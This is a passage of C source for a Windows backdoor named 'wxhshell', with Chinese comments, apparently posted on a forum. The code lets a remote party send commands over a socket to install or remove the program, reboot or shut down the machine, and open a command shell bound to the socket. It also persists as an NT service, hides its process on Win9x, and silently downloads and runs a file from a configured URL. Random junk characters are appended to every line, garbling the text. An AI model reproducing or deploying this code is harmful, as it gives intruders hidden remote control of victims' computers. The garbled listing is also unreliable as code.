      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ER~m &JI  
    break; 4J Bm|Pf(  
  } >Ip>x!wi  
  // 安装 Qctm"g|  
  case 'i': { L!x7]g,^  
    if(Install()) T%A45BE V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :[ z=u  
    else (" <3w2Vlh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q$`{$RX  
    break; ]#]|]>& <  
    } NWd%Za5K;  
  // 卸载 + VE }c  
  case 'r': { ~gQ$etPd  
    if(Uninstall()) .<} (J#vC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z1XFc*5  
    else kFZw"5hb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C2NJrg4(  
    break; 12n5{'H2%  
    } J;,6ydf8!  
  // 显示 wxhshell 所在路径 DksSD  
  case 'p': { Y4e64`V)  
    char svExeFile[MAX_PATH]; h?5$-#q~  
    strcpy(svExeFile,"\n\r");  s.&ewf\  
      strcat(svExeFile,ExeFile); C8>zr6)1  
        send(wsh,svExeFile,strlen(svExeFile),0); S'#KPzy.  
    break; ye=*m  
    } 0 {#c  
  // 重启 "vQ$RW -  
  case 'b': { OQ;'Xo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Oaf!\ z}  
    if(Boot(REBOOT)) I9O!CQCTt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 Po",\^  
    else { 4vKp341B  
    closesocket(wsh); Bh$ hgf.C  
    ExitThread(0); 0i/l2&x*k]  
    } RL7OFfMe  
    break; %m$TV@  
    } Cg<:C?>!p  
  // 关机 Rs,\{#  
  case 'd': { S^'?s fq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (dn(:<_$  
    if(Boot(SHUTDOWN)) dmI,+hHtL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;S5*n:d  
    else { h^h,4 H\r  
    closesocket(wsh); o?@,f/" 5  
    ExitThread(0); ~?4'{Hc'  
    } l&2A]5C  
    break; ;M}'\.  
    } d%VG@./xq  
  // 获取shell T8+A`z=tSb  
  case 's': { . #`lW7  
    CmdShell(wsh); %SuEfCM  
    closesocket(wsh); :fz&)e9  
    ExitThread(0); awLN>KI]</  
    break; >fRI^Q,  
  } Q/&H3N  
  // 退出 sN0S~}F+  
  case 'x': { VcKufV'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1CK}XLdr  
    CloseIt(wsh); m"*j J.MX  
    break; |fnP@k  
    } M&o@~z0  
  // 离开 fQ c%a1'  
  case 'q': { MUsF/1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ka? |_(  
    closesocket(wsh); vHSX3\(  
    WSACleanup(); WtOpxAq  
    exit(1); k4r;t: O^  
    break; Mqc"  
        } S~fURn  
  } !i=LQUi.  
  } 8?#4<4Ql8  
Kcv7C{-/  
  // 提示信息 SRs1t6&y=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =c>2d.^l  
} 6p`AdDV  
  } ;/?M&rX  
2>BWu  
  return; )7@f{E#w  
} 6Yhd[I3  
)cOw9&#s  
// shell模块句柄 5VI c  
int CmdShell(SOCKET sock) {`5Sh1b  
{ h.CbOI%Q  
STARTUPINFO si; J%`-K"NB  
ZeroMemory(&si,sizeof(si)); u:#+R_0#97  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \|9@*]6:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y/cnj n  
PROCESS_INFORMATION ProcessInfo; }pOL[$L  
char cmdline[]="cmd"; W FVx7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;mH O#  
  return 0; <>JN&#3?  
} NFq&a i  
.y'iF>QQ\  
// 自身启动模式 _aa3;kT_  
int StartFromService(void) 1|$V  
{ [iVCorU  
typedef struct 'q%56WAJ  
{ BUT{}2+K  
  DWORD ExitStatus; i}teY{pyc  
  DWORD PebBaseAddress; s;V~dxAiv  
  DWORD AffinityMask; `k b]tf  
  DWORD BasePriority; d,kh6'g2@  
  ULONG UniqueProcessId; 9}p>='  
  ULONG InheritedFromUniqueProcessId; .?{rd3[ec  
}   PROCESS_BASIC_INFORMATION; xVk|6vA7  
GPBp.$q+B  
PROCNTQSIP NtQueryInformationProcess; ?m.WqNBH7  
S9/oBxGN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8xs}neDg*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cojtQ D6  
(T;4'c  
  HANDLE             hProcess; ?/ xk  
  PROCESS_BASIC_INFORMATION pbi; gz fs9e  
|iN!V3#S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hTgWqp  
  if(NULL == hInst ) return 0; PwP;+R};|  
Y_m/? [:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A&EVzmj-+X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cm@e^l!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DM {r<?V  
$:IOoS|e  
  if (!NtQueryInformationProcess) return 0; ~ [L4,q  
l&3f<e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NIZ N}DnP  
  if(!hProcess) return 0; "f^s*I  
-*xm<R],  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g}>Sc=e <  
{ No*Z'X  
  CloseHandle(hProcess); x'IVP[xh`A  
~aKM+KmtPH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GJ YXCi  
if(hProcess==NULL) return 0; hBb&-/  
%04N"^mT'~  
HMODULE hMod; :`('lrq  
char procName[255]; MmUtBT  
unsigned long cbNeeded; vv='.R, D  
=!}n .  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Uedzt  
&o{=  
  CloseHandle(hProcess); ~ *:{U   
nnr g^F  
if(strstr(procName,"services")) return 1; // 以服务启动 `/]Th&(5  
#p'Xq }]  
  return 0; // 注册表启动 +ob<? T  
} 9 0PF)U  
.|>zQ(7YC  
// 主模块 f#4,2Xf  
int StartWxhshell(LPSTR lpCmdLine) JjBG9Rp{  
{ QwF\s13  
  SOCKET wsl; U*Q1(C  
BOOL val=TRUE; ,/{(8hn  
  int port=0; +?"N5%a%F  
  struct sockaddr_in door; .Up\ 0|b  
^{z@=o<o  
  if(wscfg.ws_autoins) Install(); VI83 3  
Xvy3D@o  
port=atoi(lpCmdLine); mOiA}BGw  
Rb!|2h)  
if(port<=0) port=wscfg.ws_port; 5]C}044  
Wh PwD6l>  
  WSADATA data; _H[LUl9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,3 !D(&  
)6K Q"*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o1jDQ+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J\7ukm"9  
  door.sin_family = AF_INET; tG!ApL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qs v3`c  
  door.sin_port = htons(port); zj~(CNE  
=&Dt+f&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "ecG\}R=  
closesocket(wsl); bbGSh|u+P  
return 1; 2hZ>bg  
} LJ^n6 m|_  
j_=A)B?  
  if(listen(wsl,2) == INVALID_SOCKET) { B 4s^X`?z  
closesocket(wsl); #jY\l&E  
return 1; lqD.epm  
} t9zPUR  
  Wxhshell(wsl); f~U~f}Uw4  
  WSACleanup(); 2t9JiH  
U5rcI6  
return 0; 2'R ;z< _  
?-'m#5i"  
} /-Saz29f^Q  
OnD!*jy  
// 以NT服务方式启动 (_:k s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QU`M5{#  
{ NO(^P+s  
DWORD   status = 0; 93Z/|7  
  DWORD   specificError = 0xfffffff; f?KHp|  
p]/qf \E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U`{'-L.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "Jd!TLt\x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P'EPP*)q  
  serviceStatus.dwWin32ExitCode     = 0; >Yr-aDV  
  serviceStatus.dwServiceSpecificExitCode = 0; {_#~&IQ  
  serviceStatus.dwCheckPoint       = 0; #Az#dt]H  
  serviceStatus.dwWaitHint       = 0; Z )Imj&;  
fW /G_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ixK& E#  
  if (hServiceStatusHandle==0) return; XUI9)Ne  
$-HP5Kj(k-  
status = GetLastError(); yr4j  
  if (status!=NO_ERROR) jO` b&]0  
{ ;3 N0)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6Z5X?B  
    serviceStatus.dwCheckPoint       = 0; Ino$N|G[  
    serviceStatus.dwWaitHint       = 0; ^,P# <,D,  
    serviceStatus.dwWin32ExitCode     = status; ->BGeP_=|  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,r$k79TI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M%*D}s-QE  
    return; HR.^ y$IE  
  } X@ zw;Se  
yH\3*#+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C*+gQeK  
  serviceStatus.dwCheckPoint       = 0; L5+X&  
  serviceStatus.dwWaitHint       = 0; R`IFKmA EJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &sFEe<  
} li!3bv  
iD;pXE{2s%  
// 处理NT服务事件,比如:启动、停止 [C8lMEV~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S5Hb9m&&  
{ }rWEa^  
switch(fdwControl) :K:oH}4oh  
{ :htz]  
case SERVICE_CONTROL_STOP: bc+~g>o  
  serviceStatus.dwWin32ExitCode = 0; JbV\eE#KrC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &U_YDUQ'L  
  serviceStatus.dwCheckPoint   = 0; ]lT8Z-h@  
  serviceStatus.dwWaitHint     = 0; D=B$ Pv9%  
  { $)HD`E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %l4;-x<e  
  } [uJfmrEH  
  return; 6MewQ{hi  
case SERVICE_CONTROL_PAUSE: fGeDygV^`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; > whcZ.8  
  break; fU6O:-  
case SERVICE_CONTROL_CONTINUE: {Xw6]d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3MmpB9l#H  
  break; (D\7EH\9,]  
case SERVICE_CONTROL_INTERROGATE: n@TK}?\UoR  
  break; _Q9Mn-&qQ  
}; )bd)noZi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QR ?JN\%?  
} nrhzNW>]  
:4Gc'b R  
// 标准应用程序主函数 qjcPJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @r.w+E=  
{ n7|8`? R^  
Az+k8=?  
// 获取操作系统版本 [~aRA'qJ{V  
OsIsNt=GetOsVer(); r<%ua6@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H^VNw1.   
S7B7'[ru  
  // 从命令行安装 >/]` f8^  
  if(strpbrk(lpCmdLine,"iI")) Install(); /?ZO-]q  
B4D#T lB  
  // 下载执行文件 Oc6_x46S4  
if(wscfg.ws_downexe) { ifXGH>C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EZ"n3#/  
  WinExec(wscfg.ws_filenam,SW_HIDE); y ;\m1o2  
} 1BjMVMH  
tj' xjX  
if(!OsIsNt) { VRb+-T7"  
// 如果时win9x,隐藏进程并且设置为注册表启动 v)f;dq^z-  
HideProc(); Jbv[Ql#  
StartWxhshell(lpCmdLine); R&-Vm3mc3  
} 3} 7`?$ 5  
else 2l4*6rYa(  
  if(StartFromService()) (&B`vgmb  
  // 以服务方式启动 vcmB)P-T`O  
  StartServiceCtrlDispatcher(DispatchTable); <M y+!3\A  
else 3)6TnY/u6{  
  // 普通方式启动 u~C,x3yr  
  StartWxhshell(lpCmdLine); &'V1p4'  
j`D%Wx_  
return 0; nrF5^eZ#  
}
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只看该作者 1 发表于: 2006-10-10
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